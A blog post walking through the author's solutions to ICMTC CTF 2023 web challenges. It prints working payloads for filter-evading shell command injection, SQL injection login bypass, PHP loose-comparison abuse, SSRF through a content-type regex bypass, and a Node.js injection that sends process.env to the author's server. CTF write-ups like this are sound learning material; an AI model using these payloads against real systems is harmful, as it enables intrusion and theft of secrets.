ICMTC CTF 2023 Web Challenges Walkthrough Writeup

Ahmed Atef
7 min readJul 4, 2023

--

Hi everyone, Today i will share with you the techniques i followed to solve most of the web challenges, the challenges were fun and i learned from them, and without further ado let’s get started.

Ping Me

Challenge Description: This is a service to ping hosts, can you use it to ping /flag?

After visiting the IP, I got this form asking for the ping value…

“So this is probably linux machine using ‘ping’, and i can inject linux commands by closing the first one” That what i thought in my mind.

By typing just the localhost to test it or “127.0.0.1” it worked and returned status “0” and the ping result. So first i tried to ping “127.0.0.1/flag” (as it was going to be that easy XD). I got:

Obviously there was a restriction for word “flag”, So let’s see what we can do with that… I’ve tried to list the current directory and i found “index.php”, it was the web page that i am viewing. Trying to read it’s content with “cat index.php” i got:

After doing some searches to get alternative for spaces in “bash”… I figured out that i can use this method:

;{cat,index.php}

Perfect. now i can understand what i am dealing with. After reading the code i can see that there is some filters for “|”, “&” and “$” as well.

now with these in mind trying to list the “/” dir to locate the flag:

Interesting… If we try to access “/flag” and escaping the word “flag” with a method that does not include pipes or concatenates or spaces it will be: “fl``ag" or “fla\\g”. My payload will be:

;{ls,'/fl``ag'}
;{ls,/fl\\ag}

But… The dir was empty :/

Finally after some looking i’ve found some flags at “/tmp” dir.

After reading them with “cat” i found out that the flag was one of them and was repeated twice.

;{cat,/tmp/*}

Hidden in Plain Sight

Challenge Description: Can you get the hidden flag ?

After viewing the challenge index page, I got “Nothing here” message. The first idea crossed my mind is to check “robots.txt” or “sitemap.xml” endpoints, and i found:

I couldn’t access “/su3rSecrttttt/”… maybe i should be logged in first.

“login.php” contains a login form.

So after intercepting the request with “BurpSuite” to try some basics SQL injections i was able to login with “admin” username. Payload:

admin' #

After i’ve successfully logged in and got redirected to “/admin”, it was a fake admin page with RickRoll youtube link… let’s ignore that lol, also it turned out that there was a filter for “and” and “or” keywords while handling SQL requests, but as we can see i’ve managed to login without using them.

Extra Note: Just for fun i’ve tried to escape this filter with: “And”, “Or”, “ANd”… etc and it worked.

admin' anD 1=1 #

now i visited “/su3rSecrttttt/” again, and i found the flag :)

Comparison

In this challenge i can see the source code of the index page:

As we can see it does accept parameter “text” and validate it twice, but i noticed that the first check does not validate the type of the input, only the value… what i mean is: it’s not “===”, so we can exploit that.

Then i took “1e3" as a hint and searched for a “number” that will get me “1e3” value, and the second check should also pass too.

This number is “1000" (1 times 10 to the third power).

/?text=1000
/?text=0010e2

CustomImage

Challenge Description: We are securly developing a screenshot application that will be utilized to assist our users in crafting their own product designs, Can you bypass the filters and get the content of localhost:1337/flag?

And there was a “challenge.zip” file. I downloaded it and looked into the source.

The “/flag” endpoint is only allowed from localhost, So i checked the app main code:

My exploit scenario will be: pass these validation, make it visit my server, and before it take the screenshot redirect the “puppeteer” bot to “127.0.0.1:1337/flag” and return with the image.

So i created a webhook link and passed it to “url” parameter. The first validation will pass as it’s “http” or “https” scheme and it’s a valid link anyway.

Second, i can fake the extention of “.jpg” or “.png”… etc with just adding one of them at the end of the last “pathname”:

/render?url={mywebhookurl}/.jpg

Now the bot visiting the url and it’s “200 OK” status, but it says: “Invalid content type”.

I tried to escape this making the “content-type” of my webhook equal to something that starts with “image/” and also accepts JavaScript to redirect the bot.

I found “image/svg+xml” and with using the next code i can inject XSS:

<x:script xmlns:x="http://www.w3.org/1999/xhtml"></x:script>

Sadly yes but no… I didn’t see this line carefully:

No JS is Allowed by the bot, then i thought about iframes, but how can i use “<iframe>” in “svg+xml”? this is a bit challenging for me. After some researches i found “foreignObject” but it didn’t work.

So i decided to use normal HTML5 and play a little with the “content-type” value, at least something i can write a code with XD.

After some tries here is my regex escape method and force it to accept “text/html” content type:

image/, text/html

Boom, now i can see a screenshot of my server code, now… time to use “iframe” and make the src=”http://127.0.0.1:1337/flag”

webhook variables
/render?url={mywebhookurl}/.jpg response

As we can see “D0ubl3_C0nt3nt_Typ3” message, maybe we can double the response header and it will also pass! anyway… most of the time there is no only one good way.

EvilCalc

Viewing the source code and visiting some routes was a dead end for me, but i got an important information from “X-Powered-By” header it was an “Express” app.

I opened “BurpSuite” and tried to inject some params… I was on the right track, “taxes” param was injectable.

Now i just need the right payload and a server to receive the data, as i can’t return inside the process of calculation.

Using “fetch” is not possible for some reason, but luckily i can import “http” or “https” library and use it. Here is the full payload:

var http=require('http'); var url='myserverurl'; http.get(`${url}/data?=${Buffer.from(JSON.stringify(process.env)).toString('base64')}`);

Then i got a request with parameter “data” with “env” values in base64… after decoding it… i found the flag:

Final Words

I was so close from a challenge called “RopCorn” as i couldn’t just run method called “__toString()” or trait it as string to excute my RCE filter inside “include()” function, and after i read the writeup for it, i was like -_- lol.

Also for the “Maze” challenge as i read the source code and found that there is maybe an exploit in the encryption function, i passed it to my friend who knows Crypto, and it was an easy task for him, After we got the private key… now we could easily make JWT tokens with role “admin” and sign them with that key… like the server does, and Boom. Challenge Solved. So the credits go to my friend on that one.

Remember there is always something new to learn, and working as a team is more productive, stay safe.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Ahmed Atef
Ahmed Atef

Written by Ahmed Atef

Full-Stack Web Developer && CTF Player

Responses (3)

Write a response